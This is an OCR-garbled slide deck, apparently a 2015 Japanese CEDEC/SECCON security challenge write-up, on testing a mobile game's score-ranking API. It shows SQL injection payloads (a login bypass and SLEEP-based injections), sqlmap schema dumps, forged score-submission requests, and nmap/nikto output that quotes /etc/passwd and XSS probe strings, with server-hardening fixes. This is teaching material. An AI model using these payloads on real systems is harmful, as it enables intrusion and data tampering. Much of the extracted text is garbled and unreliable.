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No. #fE Level
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Al. SQLr>>x 0> 3> DM (Lv.3)

A PR

2 JLARORAIA7ERR
2 POST http://api.sandbag2015.net/score/ranking/

JRIX

2 H— )\ ELRXO7EHRZE. T—4
N— A CETF T BDROUNIB(C AR fgh'd D

B/ %8B
?/ =

MR, O ADVATHEE



SQL

T —AIN—RZEFITDSQLOAN > REINS
A= NBIRXDENEDEEEE

YHOHAEULESQLONY > REFIAELSDA
731'5721\7%—’5’ & U TCSQLY =AY T,
—AIN— AT —)\TET




SQLOEHEFRE1 -1

e SQLOEX
FREOT-7HSIHEEERVHTIES

SELECT [A] FROM [B] WHERE [C]
Bl (F=7N)H5 [C] ORHET [A]l (FU0E) EMIET

E.ECT id FROM employee WHERE employee_name = 'john’

employee =7 IH'S
employee_name = ‘john‘ &L2d%RE&T

i 9
< employee =7k ™ id SIOMEEMIET
id__| employee_name
100 hanako » u

. 101 john A

Copyright © 2015 3377 Bk A (SR04 AppGoat /\o XA 43 F— 17




SQL1>> 10> 3> INE

SQLX DA I THEICEEN D2 T O S
IADORMEEESE, ANINSA—HFICTRAUE
SQLOY > R&ERELT

ETFEURVSQLYY D EfTESNT —HIN—%E
AIE(CIRE (GREIZEME. BEER. S AL
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SQLEfE- 7RS4 = D FIlGE %8s IPA

¢ O74/N—=JTOHRIAETIE, SALHEDhBILE

HBL,

EBEFHESQL: | SELECT * FROM user WHERE id= *

" AND pass="*

PASS | '

user ¥=7NVTid [ b | T pass

—O—

H

PASS | LnfTAH

~

Id

1D EHNISEREER] . OB SEEREA 7]

hanako test

ser 7'-—7»\/

pass

yamada

Copyright © 2015 323117 EUE A fWSULIE L MR AppGoat N\ XAt —

sato sato

S~—

P@ssword

S

19




SQL% (i > 7-EREE 4 2 ) il Braens )PA
o MBEIL (TN 7A—b) E-- (AXN) EE—:T&!

Bﬁ['ﬂSQL SELECT % FROM user WHERE id= * ID |° AND pass="‘| PASS

AR

SELECT * FROM user WHERE id= ' |hanako' -~ I AND pass=' 123’

------------------------

user ¥—7JIT id H*[hanako T-pass-H-t—+LiTH
1R ESHNIEEREER] . 0L:SEREEA 1]

( user ¥—7 )bﬁ
id  |pass
hanako test

vamada P@ssword
NAT—FEHSBELTHATIENTLED |

Copyright © 2015 323117 EUE A WEULIE HE L AppGoat N\ XA t3F— —— “’/2 0




Al. SQLr>>x 0> 3> DM (Lv.3)

®EY — )L (OWASP ZAP) TOF+ FF 1 {5

[ Y ALy Aa—|p T=’9 RequestT 24 Break Tf_ . Script Console ]

| Header: Text 8 | Body: Text B (B @

POST http://api.sandbag2015.net/score/ranking/ HTTP/1.1
X-Unity-Version: 5.0.2f1

Content-Type: application/json; charset=UTF-8

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.0.4; SH-01D Build/S8060)
Connection: Keep-Alive

Content-Length: 85

Host: api.sandbag2015.net

{"uuid""ad64 17aa-7ebf-430¢-83d0-ea%39%d5ed2a7","name":"test0 1234567830 123456 7890","point": 1000}




Al. SQLr>>x 0> 3> DM (Lv.3)

REY —JL(sqglmap) TOMERSEH
2 BRB/I\SA-FEEFHOH—/\DOEFHID.
SQL1 > > x> 3> ZiRAl
{"uuid":"a46417aa-7ebf-430c-83d0-
ea939d5ed2a’/","name":"test012345678

901234567890" "point":"1000; SELECT
SLEEP(5)-- "}

{"uuid":"a46417aa-7ebf-430c-83d0-
ea939d5ed2a’/","name":"test01234567/8
901234567890" "point":"1000 AND
SLEEP(5)"}



Al. SQLr>>x 0> 3> DM (Lv.3)

T —AINR—XY— ) \OREEHRZ S

Database |sandbag

Table score

Column name, point, registed_time, uuid
(fE £, BR1F AT AE




Al. SQLr>>x 0> 3> DM (Lv.3)

do you want sqlmap to try to optimize value(s) for DBMS delay responses (optlo
[16:25:46] [WARNING] it is very important not to stress the network adapter du
4

Database: sandbag
Table: score
[4 columns]

| varchar(256)
| int(11)
registed_time | datetime
' | char(40)

[*] shutting down at 16:49:34

:~/Desktop/CEDEC# |}




Al. SQLr>>x 0> 3> DM (Lv.3)

XJ R

72 SQLXzEpk 9 DFRIC [SQLONY> ] &
[FIHENSDANE] =EBEER U
A

A TEIXFECTSQL Z/F I D
AV v VIV NIANS 2




Al. SQLr>>x 0> 3> DM (Lv.3)

JL—RRIVS
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2 [J\S A=W ABEP] (C [FIBEBNS
DA E] Z7ZE(CIBHIAD

EASNZ [SQLONY > K] ([FEITSNR0N




IPA &1

F
f

RO T IHA MOVED A

IRSQLOMOH U7 |
REL

f=a
f=e

B

REL

21741460
B  amrs

TPV r=oasada1)74RRE
P17YPORENM LEOLOORVES

SQE.N
FUHLEG

IRESIITIIIONYS; HR

IpA notmas W
IpA [ AN N t¥aUF eI~ 008N
RO L RS VL — ] VT

https://www.ipa.go.jp/security/vuln/websecurity.html



A2. KEI\S A= DR A (Lv.3)

FEEPh
2 JLAEDORXITELR
2 POST http://api.sandbag2015.net/score/ranking/

JR[X
2 A T7EREOPOSTEIEN'T

>I<~|1




A2. KEI\S A= DR A (Lv.3)

2 B A7=xKEBELUTERR
2 SoF> 0S50 (EHREGRI. X7 T

W2 FIIE
2 ProxyW—JLigET., U—/)NTEETD/N
TA—AHZESTIRRD




A2. KEI\S A= DR A (Lv.3)

IR
2 X700 A

{"uuid":"a46417aa-7ebf-430c-83d0-
ea939d5ed2a7","name":"test0123","poin
t":"10000000"}

2 RKEEKOUUId TIEEDname, pointzEEx

{"uuid":"a46417aa-7ebf-430c-83d0-
ea939d5ed2a8", "name":"CEDECCEDEC"
,'point":"99999"}




A2. KEI\S A= DR A (Lv.3)

{"uuid™"ad6d4 17aa-7ebf-430¢-83d0-ea939d5ed 28} 'name" f CEDECCEDEC"
"point§99999

{"uuid":"ad64 17aa-7ebf-430¢-83d0-ea%39d5ed?2 "name"JCEDECCEDEC"

"poirlt'm
Hall of Fame

Iw cl47483647
c AAAA 28381500

3 CEDECCEDEC 33333
4 CEDECCEDEC 43338

5 otms 3500




A2. KEI\S A= DR A (Lv.3)

X 2R

2 HTTPSTCBEZ=IES1tL

2 BEERR/\SA—F(CHHROIBES{EoE A
RHERZT E=




A3. Z{E/\NSA=FDF TV IARTTD (Lv.2)

FLE IR
A SUHOF—IEEUSL T TUTERRY
35

2 GET http://api.sandbag2015.net/score/ranking/

JRIX
2 =) \WSBIL/I\SA—HFZZDFEFRERR




A3. Z{E/\NSA=FDF TV IARTTD (Lv.2)

BEY—JL (OWASP ZAP) TODkE A

| Response<« |

LHeader: Text 3 [Body: Text —j |ﬁ| (=]

HTTP/1.1 200 OK

Date: Fri, 07 Aug 2015 05:08:55 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

Set-Cookie: PHPSESSID =hpap8rh3dhéjroh7l1ccjdéb?7; path=/

Expires: Thu, 19 Nowv 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 399

Connection: close r
Content-Type: text/html; charset=UTF-8

Jv]

v

[{"name":"w","point""214748364 7"}, {"name"."AAAA","point"."58981500"},{"name":"w
o","point":"10800":L{"name"."nuwaa","point":"3700"L{"name""aaa","point"."1000"}{"
name":"Player 01","point":"10"}{"name":"Player 02","point":"9"}{"name":"Player

Hall of Fame

lw 147483647
¢ AAAA 28381500
3 wo 10800

4 nuwaa 3700
5 aaa 1000

b Player 01
1 Player 02

8 Player 03
9 Player 04




A3. Z{E/\NSA=FDF TV IARTTD (Lv.2)

XJER
2 HTTPSTHE{E= g1t

2 BEERR/\SA—F(CHHROIBES{EoE A
RHERZT E=

2 7T URITRHME) S A - DX FFEDHTEL
Tk E xR
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No. #fE Level

N1 | eS8 MNTFTET SApache(2.2.15) 3
N2 | M55 £ M FE T HPHP(5.3.3) 3
N3 |HTTPAY A 2K H/N—T 3 VKRR 1
1
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NA | HEZE LR ULMHTTPA Y v KODEFT]
N5 |PHP Credits®D &7~




N1. e85 FTE 9 DApache(2.2.15) (Lv.3)

NE
2 Apache 2.2.15 (CIZBTXDAESSHE (DoS.
XSSIQ &) NMEEFT
X R
2 FiLWW—==3 > (CFEFR
Apache 2.2%( 2.2.31 H'&FThR




N1.

HEss M Z1E 9 DApache(2.2.15) (Lv.3)

http://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/
version_id-93077/Apache-Http-Server-2.2.15.html

CVE Details

The ultimate security vulnerability datasource

09 In Register
Switch to hitps://
Home

Browse :
Vendors
Products
Vulnerabs
VYulnerabs

Reports :
CVSS Score Report
CVSS Score Distribytion

Search :

Vendor Search

Product Search

Version Search
Vulnerabiity Search

By Microsoft References

ties By Date
ties By Type

Top 50 :
Verdors
Vendor Cvss Scores
Products
Product Cvss Scores
Versions

Other :
Microsoft BuSleting
Bugtrag Entries

Wi inition

About & Contact
Feedback
CVE Help

FAQ

Search
View CVE
Resot Password  Activate Account Vulnerability Feeds & Widgetshew [NNINIUSNPISIE
Apache » Http Server » 2.2.15 : Security Vulnerabilities
Cpe Name:cpe:/a:apache:http_server:2.2.15
CVSSScoresGreaterThan: 0 1 2 3 4 S 6 7 8 9
Sort Results By : CVE Number Descending CVE Number Ascending CVSS Score Descending  Number Of Explolts Descending
Copy. Resylts Download Results Select Tadle
v CVEID CWEID  # of Exploits Vulnerability Type(s) Publish Date  Update Date Score Gained Access Level Acess G Auth Conf. Integ. Avail,
1 CVE-2014-0231 339 DoS 2014-07-20 2015-04-14 5.0 None Remote Low Not required None None Partial

The mod_cgid module in the Apache HTTP Server before 2.4.10 does not have 3 timeout mechanism, which allows remote attackers to cause 3 denial of service (process hang) via a request to a CGI script that
does not read from its stdin file descriptor.

2CVE-2014-0098 20 DoS 2014-03-18 2015-05-15 None Remote Low Not required None None Partial

5.0

The log_cookie function in mod_log_config.c in the mod_log_config module in the Apache HTTP Server before 2.4.8 allows remote attackers to cause 3 denial of service (segmentation fault and daemon crash)
via a crafted cooloe that is not properly handled during truncation.

ICVE-2013-6438 20 DoS 2014-03-18  2015-05-18 5.0 None Remote Low Not required None None Partial

The dav_xmi_get_cdata function in main/util.c in the mod_dav module in the Apache HTTP Server before 2.4.8 does not properly remove whitespace characters from CDATA sections, which allows remote
attackers to cause a denlal of service (daemon crash) via a crafted DAV WRITE request.

2013-08-30  3EN

mod_session_dbd.c in the mod_session_dbd module in the Apache HTTP Server before 2.4.5 procecds with save operations for a session without considering the dirty flag and the requirement for 3 new session
1D, which has unspecified impact and remote attack vectors.

4 CVE-2013-2249 2013-07-23 None Remote Low Not required Partial Partial Partial

S CVE-2013-1896 264 DoS 2013-07-10 2014-03-08 None Remote Medium Not required None None Partial

43

mod_dav.c in the Apache HTTP Server before 2.2.25 does not properly determine whether DAV is enabled for 2 URI, which allows remote attackers to cause 3 denial of service (segmentation fault) via 2 MERGE
request in which the URI is configured for handling by the mod_dav_svn module, but a certain href attribute in XML data refers to a non-DAV URIL.
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N1. e85 FTE 9 DApache(2.2.15) (Lv.3)

=5

2 http://www.cvedetails.com/vulnerability-list/
vendor_id-45/product_id-66/
version_id-93077/Apache-Http-
Server-2.2.15.html

2 CVEE= (CVSSX177)
CVE-2011-3192 (7.8)
CVE-2013-2249 (7.5)
CVE-2012-0883 (6.9)
fi%%




N2. RfES5IENNETE S BPHP(5.3.3) (Lv.3)

)

I

NS

A

2 PHP 5.3.3 (CIZEXXIDOMess™E (/N T 7
Fd—)\—2TJO—. DoS. XSSiié&) Hh%%

F1E

X TR
2 FTUW—=a > (CEH

5.3%(&% 5.3.29CH7/R—
F8H14H)

5.4, 5.5, 5.6%RI(C1T

NMET (2014



N2. RfES5IENNETE S BPHP(5.3.3) (Lv.3)

=5

2 http://www.cvedetails.com/vulnerability-
list.php?
vendor_id=74&product_id=128&version_id=9
7802

2 CVEE= (CVSSX177)
CVE-2012-2688 (10.0)
CVE-2011-3268 (10.0)
CVE-2011-1092 (7.5)

fiiZ%




N3. HTTPAWY A (C KB/ -3 2 KR (Lv.1)

FAEE

A HTTPL AR ANWS
}/ \ k
2 H—)VEIY T N1 PO TE A

B/ %8B
?/ =

2 MREYI DT 7E0I/I\-232FB5KD,
FE I DMHMEZHFE. FTHERNEZE
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N3. HTTPAWY A (C KB/ -3 2 KR (Lv.1)

Wes2 IR
2 http://api.sandbag2015.net/score/ranking/
ANDGET, POSTDOL AR AN S

Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3

jj./rh-
2 Apache. PHPIRXEDERTE J 7 1)Lz E]

(CEXTE

o b




N3. HTTPAWY A (C KB/ -3 2 KR (Lv.1)

{Z1EI

2 httpd.conf
ServerSignature Off
ServerTokens ProductOnly

Server: Apache/f2215{CentOS)
2 php.ini
expose_php=off




N4. #E3B U/ROHTTPX Y W RODEFA] (Lv.1)

A&

72 TRACEXYVw RH'E%R)
}/ \ k
2 b—)VHIV D O T 7 OEEAE

B/ %8B
?/ =

7 fﬁk%ianab\b\ ABIZAV W K&
7 )‘)J(c_

TRACEXYV YW RZERT BIIRE (XST:Cross-
Site Tracing) (&. 77'7*3“@](?]‘%3*1%2‘
- R A AN Y




N4. #E3B U/ROHTTPX Y W RODEFA] (Lv.1)

XJ R
A NEIT7 A IV ZABIE

2 httpd.conf
TraceEnable off



N5. PHP CreditsdZ7~ (Lv.1)

e LE PR
2 http://api.sandbag2015.net//?
=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

JREE
2 55—V T DT 7 ORENME

B/ %8B
'?/

7 PHP Credltsd)ﬁmw SHSFIAE/)\—=3




N5. PHP CreditsdZ7~ (Lv.1)

0@ [ Bl api.sandbag2015.net//?=PHPB8B5F2A0-3C92 () M

PHP Credits

Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha
Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski

‘Andl Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger \

Zend Scripting Language Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry

Engine Stogov

Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski

UNIX Build and Modularization | Stig Bakken, Sascha Schumann, Jani Taskinen

Windows Port Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye

grver API (SAPI) Abstraction |Andi Gutmans, Shane Caraveo, Zeev Suraski

yer

Streams Abstraction Layer Wez Furlong, Sara Golemon

PHP Data Objects Layer WN:; th:;)kn;. Marcus Boerger, Sterling Hughes, George Schlossnagle, llia
an




N5. PHP CreditsdZ7~ (Lv.1)

XJ R
A NEIT7 A IV ZABIE

2 php.ini
expose_php = off
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Wireshark

2 HRNTWBI\TY caFv TF v, BRI
L= BE<ER

‘es0e® \ 20150805_SandBag.pcapng [Wireshark 1.12.7 (v1.12.7-0-G71c8978 from master-1.12))
File Edit View Co Capture Analyze Statistics Telephony Tools [nternals Help

COANI ERXY A¢dwFEERQAcaamEgws % &

Filter: Iip.addv == 210.140.172.74 ;] Expression... Clear ~ Save

No. I Time | Source I Destination I Prolocol] Length] Info I ~
19 06:37:37. 109744000 210 140172 74 10001 Tce 66 8045885 [ACK]) Seq=768 Ack=206 Win=15552 Len=0 TSval=520423721 TSecr=5%
23 06:38:15, 875974000 10.0.0.1 210140172 4 TCP 74 3994280 [SYN] Seq=0 Win=14600 Len=0 M5S=1460 SACK_PERM=1 TSval=535441
26 06:38:16. 891722000 210. 140. 172 74 10.0.0.1 Tce 74 80-39942 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=0 MSS=1460 SACK_PERM=1 T
27 06:38:15, 895776000 10.0.0.1 210 140.172. 74 TCP 66 39942-80 [ACK] Seq=l Ack=l Win=14656 Len=0 TSval=5354419 TSecr=5204625

433 POST /score/ranking/ HTTP/1.1 (app

29 06:38:15.910942000 210 140172

7] 10001 TP 66 80-39942 [ACK) Seq=1 Ack=368 Win=15552 Len=0 TSval=520462521 TSecr=535
30 06:38:15 025837000 210 140 172 M 10001 HTTP 465 HTTP/1.1 200 OK (text/html)
31 06:38:15. 025883000 210. 140172 74 10001 e 66 8039942 [FIN, ACK] Seq=400 Ack=368 Win=15552 Len=0 TSval=520462536 TS
32 06:38:15 033696000 10.0.0 1 210 140.172. 74 TCP 66 39942-80 [ACK) Seq=368 Ack=400 Win=15680 Len=0 TSval=5354424 TSecrs520
33 06:38:15. 042290000 10.0.0.1 210.140.172. 74 TCP 66 3994280 [FIN, ACK) Seq=368 Ack=401 Win=15680 Len=0 TSval=5354425 TSec
34 06:38:15. 955064000 210.140. 172 74 10.0.0.1 e 66 80-39942 [ACK) Seq=401 Ack=369 Win=15552 Len=0 TSval=520462566 TSecr=5 v
= Hypertext Tramsfer Protocol 4

w POST /score/ranking/ HTTP/1.1\r\n

P [Expert Info (Chat/Sequence): POST /score/ranking/ HTTP/1.1\r\n]
Request Method: POSY
Request URI: /score/ranking/
Request Version: WTTP/1.1

X-Unity-Version: 5.0.2f1\r\n

Content-Type: application/)son; charset=UTF-8\r\n

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.0.4; SH-010 Build/S8060)\r\n

Host: api.sandbag20lS.met\r\n

Connection: Keep-Alive\r\n

Accept-Encoding: gzip\r\n

P Content-Length: 95\r\n .
0000 00 1d e0 7a 01 cd 9c c¢7 dl1 5f 72 9d 08 00 45 00 ceeBasse o_Pui Bl .
0010 ©1 a3 b8 92 40 00 40 06 f7 ea 0a 00 00 01 d2 8¢ .88 e
0020 ac 4a 9¢c 06 00 S0 b3 92 0b 22 ¢3 33 395 65 80 18  .J)...P.. .".3%..

0030 00 e5 cl 5f 00 00 01 01 08 0a 00 51 b3 b4 1f 05 . " v Qiaes

0040 ab a4

0050

0060

W -
0080 4

@ *7| Text item (text), 2 bytes Packets: 34 - Displayed: 21 (61.8%) - Load time: 0:00.006 Profile: Default




nmap

UL TWLWBIR— R ZRANRD
MAY—EXZWL/N\ =23 2 &/RD

o=l

2 $nmap IP7 RL-X
FHLTWBR— hES. — iR —E
A4

2 $ nmap -sV IPJ7 RL-X
FAWLWTWDSR—hES, B—EX&E

IN—==3>




nmap

root@kali:"# nmap -A api.sandbag2015. net

Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-07 17:47 JST
Nmap scan report for api.sandbag2015. net (210.140.172. 74)
Host is up (0.016s latency).
rDNS record for 210.140.172.74: 210-140-172-74. jp—east. compute. idcfcloud. com
Not shown: 999 filtered ports
PORT  STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((Cent0S))
| http-methods: No Allow or Public header in OPTIONS response (status code 200)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
Warning: 0SScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
0S CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:|inux_kernel:3
0S details: Linux 2.6.32 - 3.10
Network Distance: 13 hops
€1y
0S and Service detection performed. Please report any incorrect results at http://
nmap. org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.69 seconds
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nikto

root@kali:"# nikto —h api. sandbag2015. net
- Nikto v2.1.6

(HHBR)
+ Server: Apache/2.2.15 (Cent0S)
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5. 3.3
+ The anti—-clickjacking X-Frame-Options header is not present.
+ Apache/2.2. 15 appears to be outdated (current is at least Apache/2.4.7). Apache
2.0.65 (final release) and 2.2.26 are also current.
+ Server leaks inodes via ETags, header found with file /, inode: 263550, size: 8,
mtime: Sun Jun 7 18:18:37 2015
+ Web Server returns a valid response with junk HTTP methods, this may cause false
positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Uncommon header 'union all select filetoclob (' /etc/passwd , server’)’ found, with
contents: :html, 0 FROM sysusers WHERE username=USER --/.html HTTP/1.1 404
+ Uncommon header 'src=javascript’ found, with contents: alert (' Vulnerable')><Img
Src=¥" HTTP/1.1 404
+ 0SVDB-12184: /7=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially

sensitive information via certain HTTP requests that contain specific QUERY
strings.

(HH)




OWASP ZAP
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OWASP ZAP

Untitled Session - SandBagl - OWASP ZAP - | O/ X
File Edit View Analyse Report Tools Online Help
[Gontaimose W) 1S BEHE B 008 GE0 | O@P )oXEBLERE o

@ Sites | | | Scripts [ Y oL ys AE— | T# Request T 4 Break T . Script Console ] J Response@]

v @ sites lHeader: Text 3 lBody: Text B @ =) LHeader: Text 3 lBody: Text B (j =)
v [ Whtpifapisandbag2015.net
v Wscore GET http://api.sandbag2015.net/scorefranking/ HTTP/1.1 HTTP/1.1 200 OK “
[ GET:ranking X-Unity-wersion: 5.0.2f1 Date: Fri, 07 Aug 2015 06:44:43 GMT N
= T ” . User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.0.4; SH-01D Build/S8060) Server: Apaches2.2.15 (CentOS)
B ™ POST:ranking({"uuid":"a46417aa-7ebf-430¢c-83d0-ea939d5) cOnneiion;Keep_Ahve X—Power(fd-By: orp/saa
> [ hrepi//stats.unity3d.com Content-Length: 0 Set-Cookie: PHPSESSID =073peSdipdasskwdnbijpelg1; path=/
Host: api.sandbag2015.net Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Content-Length: 357
Connection: close
Content-Type: text/html; charset=UTF-8 ¥

[{"name":"w","poi 147483647"}:.{"name","AAAA","point""58981500"}:{"n
ame""CEDECCEDEC","point™"99999"}{"name";"CEDECCEDEC","point";"9999
8"L{"name":"otms","poin 9500"}L{"name":"test012345678901234567890",

"point":"11500"} 0","point™:"10800"}L{"name"."nuwaa","point":"37
00"L{"name":"aaa","point":"1000"}L{"name":"Player 01","point":"10"}]
_[ = History I 'S Search T ¢ Break Points I U Alents T ) Active Scan T % Spider T/*' Forced Browse T 4 Fuzzer T [] Params T <& Http Sessions T (&) Zest Results T <) Clients Tp' WebSockets T ¥ AJAX Spider T || Output ]
@ | FilterOFF

Id | Req. Timestamp | Method | URL | Code | Reason | RTT | Size Resp. Body | Highest Alert | Note | Tags 15
1,707 04/08/1510:10:25 GET http:/fapi.sandbag2015.net/score/ranking/ 200 OK 623 ms 323 bytes U Low SetCookie "

1,708 04/08/1510:11:30 POST http:/fapi.sandbag2015.net/score/ranking’ 200 OK 353 ms 12 bytes U Low SetCookie

1,709 04/08/1510:12:02 GET http:/fapi.sandbag2015.net/score/ranking/ 200 OK 617 ms 342 bytes U Low SetCookie

1,713 07/08/1514:01:43 GET http:/fapi.sandbag2015.net/score/ranking’ 200 OK 651 ms 328 bytes U Low SetCookie

1,714 07/08/15 14:02:07 GET http:/fapi.sandbag2015.net/score/ranking’ 200 OK 66 ms 331 bytes U Low SetCookie

1,715 07/08/15 14:03:20 GET http:/fapi.sandbag2015.net/score/ranking’ 200 OK 659 ms 382 bytes U Low SetCookie

1,716 07/08/15 14:04:43 GET http:/fapi.sandbag2015.net/score/ranking’ 200 OK 634 ms 332 bytes U Low SetCookie

1,717 07/08/1514:05:31 GET http:/fapi.sandbag2015.net/score/ranking’ 200 OK 345ms 342 bytes U Low SetCookie

1,718 07/08/15 14:06:32 GET http:/fapi.sandbag2015.net/score/ranking/ 200 OK 634 ms 347 bytes U Low SetCookie

1,719 07/08/1514:07:35 GET http:/fapi.sandbag2015.net/score/ranking’ 200 OK 69 ms 337 bytes U Low SetCookie

1,720 07/08/1514:07:59 GET http:/fapi.sandbag2015.net/score/ranking/ 200 OK 60 ms 347 bytes U Low SetCookie
1,721 07/08/15 14:08:55 GET http:/fapi.sandbag2015.net/score/ranking’ 200 OK 35T ms 399 bytes U Low SetCookie N

1,725 07/08/15 15:40:29 POST http:/fapi.sandbag2015.net/score/ranking’ 200 OK 688 ms 12 bytes U Low SetCookie

1,726 07/08/1515:40:46 GET http:/fapi.sandbag2015.net/score/ranking’ 200 OK 66 ms 347 bytes U Low SetCookie

1,727 07/08/1515:42:44 POST http:/fapi.sandbag2015.net/score/ranking’ 200 OK 647 ms 12 bytes U Low SetCookie

U Low SetCookie

POST http:/fapi.sandbag2015.net/score/ranking’ 200 OK 632 ms 12 bytes

Alerts 0 (U0 (02 R CurrentScans ) 0 30 ,°0 €0 440 5o
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do you want sqlmap to try to optimize value(s) for DBMS delay responses (optlo
[16:25:46] [WARNING] it is very important not to stress the network adapte o[V
4

Database: sandbag
Table: score
[4 columns]

varchar(256)
int(11)
registed_time | datetime
' char(40)

[*] shutting down at 16:49:34

:~/Desktop/CEDEC# |}




Kali Linux

41 U7 2L UTzLinux
72 ZHOEERY—I)LHA A M—=)LiBdH

https://www.kali.org

LA &DMUBZ

Boot menu

:Wlﬁl:lll_ﬁ[
Install with speech synthesis

Press ENTER to boot or TAB to edit a menu entry
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Metasploitable

T— | Vulnerability: Command Execution
Instructions | Ping for FREE
B | Enter an IP address below:
Bt Foros | [ submit |
CSRF |
File Inclusion | o | VUInerab"ity: SQL |njecti0n
SQL Injection |
SQL Injection (Blind) | ::::cﬂom I Ll
Upload | ( Submit |
XSS reflected | Brute Force |
XSS stored | Command Execution | . . Lo
CSRF | Home . Vulnerability: Reflected Cross Site Scripting (XSS)
File Inclusion | i |
SQL Injection Setup | What's your name?
SQL Injection (Blind) | (Sabmit]
Upload | Brute Force | -
XSS reflected | Command Execution I More info
XSS stored | CSRF | ) ‘
File Inclusion | Btpion wikipsdin.orgiwiki/Cross-site_scripting
SQL Injection | http://www.cgisecurity.com/xss-faq.htm
SQL Injection (Blind) |
Upload |

XSS stored |




IPA AppGoat

7 FesalE iRz EY —)L
2 IPANFHXE - Bicfh (HAGE!)
2 Windows ETZE1T. JS>OUTEHS
2 http://www.ipa.go.jp/security/vuln/appgoat/

‘ EEEEREE Y-/l AppGoat

BEENH  2015FE2825H

| bvT | Y—IEE | BREAX—Y | FAQ |
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SECCON 2015

SECCON 2015 MWAYZa—N
[ me | mwxa | as | mams __

2015488 26H (%K)
20154104248 (1)
20154118 78(t)
2015411 B 8H(B)
2015411 A28H(1)
128 58(+)~6(8)
20164 18308 (%)
20164 18318(8)

EEEEEEER

SEL LI

SECCON 2015 #iRA< Ky7¢aM®& CEDEC CHALLENGE
SECCON 2015 E&X& EATUIXE® MMz )La—F

SECCON 2015 R k& ke A /—FFH
SECCON 2015 X X% 73 70.h%xK CSIRTEE

SECCON 2015 AL k& AMIRA® Attack & Defense
SECCON 2015 #2514 F & 1o82-2v0 CTF%:E(BARE+EE)

SECCON 2015 ;&K% (intercollege)  WRRMX%
SECCON 2015 ;R A< (international) WHRMAS

CTFRME (B A58)
CTFiRM B (HEE)

= = PAA & REAE

ELaBXEs  Attack & Defense
AMHERERE 2~ Binary, Web, CTF
ERRMAY Binary, Network, Web, CTF
HABHW|N Binary, Network, Web, CTF

Bl 2015568 78(8)
20154 64 148(A)
2015% 78 4B (%)
20154 78 58(8)
20154 98126 (1)
20154104 38 (t)
20154108 178 (%)
2015411 5 78 (%)

CTF for E¥+—X 2015 {§%
CTF for E+—X 2015 #L#%
CTF for E¥+—X 2015 B
CTF for EX+—X 2015 &%
CTF for E¥7+—X 2015 &
CTF for EX+—X 2015 i# &
CTFforE¥+—X 2015 &R
CTF for E4+—X 2015 XX

wHXY Network, Web, CTF
UMY Binary, Network, CTF
FREMHPHHL  Attack & Defense en

AR ATC CTF in Kansai Open Forum
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